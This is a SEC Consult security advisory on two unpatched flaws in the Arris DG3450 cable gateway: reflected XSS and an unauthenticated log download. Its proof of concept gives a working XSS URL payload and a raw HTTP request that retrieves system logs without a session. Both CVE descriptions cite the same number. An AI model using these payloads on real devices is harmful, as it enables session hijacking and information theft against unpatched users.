Arris DG3450 AR01.02.056.18_041520_711.NCS.10 XSS / Missing Authentication

`SEC Consult Vulnerability Lab Security Advisory < 20230306-0 >  
=======================================================================  
title: Multiple Vulnerabilities  
product: Arris DG3450 Cable Gateway  
vulnerable version: AR01.02.056.18_041520_711.NCS.10  
fixed version: -  
CVE number: CVE-2023-27571, CVE-2023-27572  
impact: medium  
homepage: https://www.commscope.com  
found: 2022-10-21  
by: S. Robertz (Office Vienna)  
SEC Consult Vulnerability Lab  
  
An integrated part of SEC Consult, an Atos company  
Europe | Asia | North America  
  
https://www.sec-consult.com  
  
=======================================================================  
  
Vendor description:  
-------------------  
Arris has been aquired by CommScope in 2019.  
  
"At CommScope we push the boundaries of communications technology to  
create the world’s most advanced networks. We design, manufacture,  
install and support the hardware infrastructure and software  
intelligence that enable our digital society to interact and thrive.  
Working with customers, we advance broadband, enterprise and wireless  
networks to power progress and create lasting connections.  
  
Across the globe, our people and solutions are redefining connectivity,  
solving today’s challenges and driving the innovation that will meet  
the needs of what’s next."  
  
Source: https://www.commscope.com/about-us/  
  
  
Business recommendation:  
------------------------  
The vendor did not reply to any of our communication attempts. The security  
issues have not been fixed. Users of this product are urged to contact their  
support representative and request the vulnerabilities to be fixed.  
  
SEC Consult highly recommends to perform a thorough security review of the  
product conducted by security professionals to identify and resolve potential  
further security issues.  
  
  
Vulnerability overview/description:  
-----------------------------------  
1) Reflected Cross-Site-Scripting Vulnerability (CVE-2023-27572)  
An attacker can execute arbitrary JavaScript code in the context of the  
victim's session, thus perform all actions, exfiltrate information, etc. In  
order to exploit this vulnerability the attacker will have to trick the user  
into visiting a manipulated URL.  
  
2) Missing Authentication (CVE-2023-27572)  
Logfiles can be downloaded without prior authentication, once the correct URL  
is known. This allows an attacker to gain further information about the usage  
of the device.  
  
  
Proof of concept:  
-----------------  
1) Reflected Cross-Site-Scripting Vulnerability (CVE-2023-27572)  
The following URL has to be visited by the victim in order to execute arbitrary  
JavaScript code.  
  
http://$IP/https_redirect.php?page=%22;alert(document.domain);var%20dummy=%22  
  
  
2) Missing Authentication (CVE-2023-27572)  
The following HTTP request will return the log file of the device without  
checking for a valid session cookie.  
  
-------------------  
GET /troubleshooting_logs_download.php?log_type=system&time_frame=today HTTP/1.1  
Host: $IP  
  
HTTP/1.1 200 OK  
X-Content-Type-Options: nosniff  
Set-Cookie: PHPSESSID=38b5a65ba1a4477e29efd73ee1e01554; path=/; HttpOnly  
X-XSS-Protection: 1; mode=block  
strict-transport-security: max-age=600; includeSubDomains  
Server: ARRIS Server  
X-Frame-Options: DENY  
Content-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval'; worker-src blob:  
Cache-control: private  
Pragma: private  
Expires: 0  
Content-type: text/plain;charset=utf-8  
Content-Disposition: attachment; filename="troubleshooting_logs_system_today.txt"  
Content-Transfer-Encoding: binary  
Accept-Ranges: bytes  
Content-Length: 437  
Date: Tue, 21 Jun 2022 20:51:07 GMT  
  
GUI: User:admin login  
06/15/2022 22:46:56 Notice  
  
GUI: User:admin logout  
06/15/2022 22:42:14 Notice  
  
GUI: User:admin logout  
06/15/2022 22:41:26 Notice  
  
GUI: User:admin logout  
06/15/2022 22:41:06 Notice  
  
GUI: User:admin logout  
06/15/2022 22:40:47 Notice  
  
GUI: User:admin login  
06/15/2022 22:33:22 Notice  
  
GUI: User:admin logout  
06/15/2022 22:31:51 Notice  
-------------------  
  
  
Vulnerable / tested versions:  
-----------------------------  
The vulnerabilities have been tested on the following device / firmware:  
* Arris DG3450 with software version AR01.02.056.18_041520_711.NCS.10  
  
  
Vendor contact timeline:  
------------------------  
2022-11-22: Contacting vendor through [email protected]; no response.  
2022-12-05: Asking for security contact through @Arris Twitter social media  
No response. Received "You can no longer send messages to this person"  
after initial message.  
2022-12-05: Contacting vendor via [email protected]; no response.  
2023-01-24: Contacting vendor again via [email protected] and  
[email protected]; no response  
2023-03-02: Requesting CVE numbers.  
2023-03-06: Release of security advisory.  
  
  
Solution:  
---------  
The vendor did not reply to any of our communication attempts. The security  
issues have not been fixed. Users of this product are urged to contact their  
support representative and request the vulnerabilities to be fixed.  
  
  
Workaround:  
-----------  
None  
  
  
Advisory URL:  
-------------  
https://sec-consult.com/vulnerability-lab/  
  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
SEC Consult Vulnerability Lab  
  
SEC Consult, an Atos company  
Europe | Asia | North America  
  
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Hence our customers obtain the most current information about vulnerabilities  
and valid recommendation about the risk profile of new technologies.  
  
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EOF S. Robertz / @2023  
  
`